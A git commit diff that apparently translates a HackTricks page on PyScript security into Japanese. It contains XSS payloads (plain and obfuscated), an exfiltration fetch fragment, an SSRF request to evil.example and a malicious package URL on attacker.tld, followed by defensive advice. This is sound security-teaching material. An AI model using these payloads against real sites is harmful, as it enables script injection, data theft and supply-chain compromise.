Translated ['src/generic-methodologies-and-resources/python/pyscript.md'

This commit is contained in:
Translator 2025-08-20 02:59:45 +00:00
parent 2440a0f5f2
commit 1457d9acc1

View File

@ -23,7 +23,7 @@ with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
`CVE ID: CVE-2022-30286`\
\
Code:
コード:
```html
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
@ -47,7 +47,7 @@ body: JSON.stringify({ content: btoa(console.logs) }),
```
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
### クロスサイトスクリプティング (通常)
### クロスサイトスクリプティング (通常)
Code:
```python
@ -57,7 +57,7 @@ print("<img src=x onerror='alert(document.domain)'>")
```
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)
### クロスサイトスクリプティング (Python 難読化)
### クロスサイトスクリプティング (Python 難読化)
Code:
```python
@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
Code:
```html
<py-script>
prinht("
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
@ -140,7 +140,7 @@ return _0x34a15f
return _0x599c()
}
</script>
")
"")
</py-script>
```
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)
@ -156,4 +156,62 @@ print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&
```
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
---
## 新しい脆弱性と技術 (2023-2025)
### 制御されていないリダイレクトによるサーバーサイドリクエストフォージェリ (CVE-2025-50182)
`urllib3 < 2.5.0` は、PyScriptに付属する**Pyodideランタイム内**で実行されるときに、`redirect`および`retries`パラメータを無視します。攻撃者がターゲットURLに影響を与えることができる場合、開発者が明示的に無効にした場合でも、Pythonコードがクロスドメインリダイレクトに従うように強制することができ、実質的にanti-SSRFロジックを回避します。
```html
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
print(r.status, r.url)
</script>
```
`urllib3 2.5.0` でパッチが適用されました PyScript イメージ内のパッケージをアップグレードするか、`packages = ["urllib3>=2.5.0"]` で安全なバージョンを固定してください。詳細については公式の CVE エントリを参照してください。
### 任意のパッケージの読み込みとサプライチェーン攻撃
PyScript は `packages` リストに任意の URL を許可するため、設定を変更または注入できる悪意のあるアクターは、被害者のブラウザで **完全に任意の Python** を実行することができます:
```html
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload # executes attacker-controlled code during installation
</script>
```
*純粋なPythonホイールのみが必要です WebAssemblyのコンパイルステップは必要ありません。* 設定がユーザー制御されていないことを確認し、HTTPSおよびSRIハッシュを使用して自分のドメインに信頼できるホイールをホストしてください。
### 出力のサニタイズの変更 (2023+)
* `print()` は依然として生のHTMLを注入し、そのためXSSに対して脆弱です上記の例
* 新しい `display()` ヘルパーは **デフォルトでHTMLをエスケープします** 生のマークアップは `pyscript.HTML()` でラップする必要があります。
```python
from pyscript import display, HTML
display("<b>escaped</b>") # renders literally
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
```
この動作は2023年に導入され、公式のBuilt-insガイドに文書化されています。信頼できない入力には`display()`を使用し、`print()`を直接呼び出すことは避けてください。
---
## 防御的ベストプラクティス
* **パッケージを最新の状態に保つ** `urllib3 >= 2.5.0`にアップグレードし、サイトに付属するホイールを定期的に再構築します。
* **パッケージソースを制限する** PyPI名または同一オリジンのURLのみを参照し、理想的にはサブリソース整合性SRIで保護します。
* **コンテンツセキュリティポリシーを強化する** インラインJavaScript`script-src 'self' 'sha256-…'`)を禁止し、注入された`<script>`ブロックが実行されないようにします。
* **ユーザー提供の`<py-script>` / `<script type="py">`タグを禁止する** HTMLを他のユーザーにエコーする前にサーバーでサニタイズします。
* **ワーカーを隔離する** ワーカーからDOMへの同期アクセスが必要ない場合は、`sync_main_only`フラグを有効にして`SharedArrayBuffer`ヘッダーの要件を回避します。
## 参考文献
* [NVD CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
* [PyScript Built-ins documentation `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
{{#include ../../banners/hacktricks-training.md}}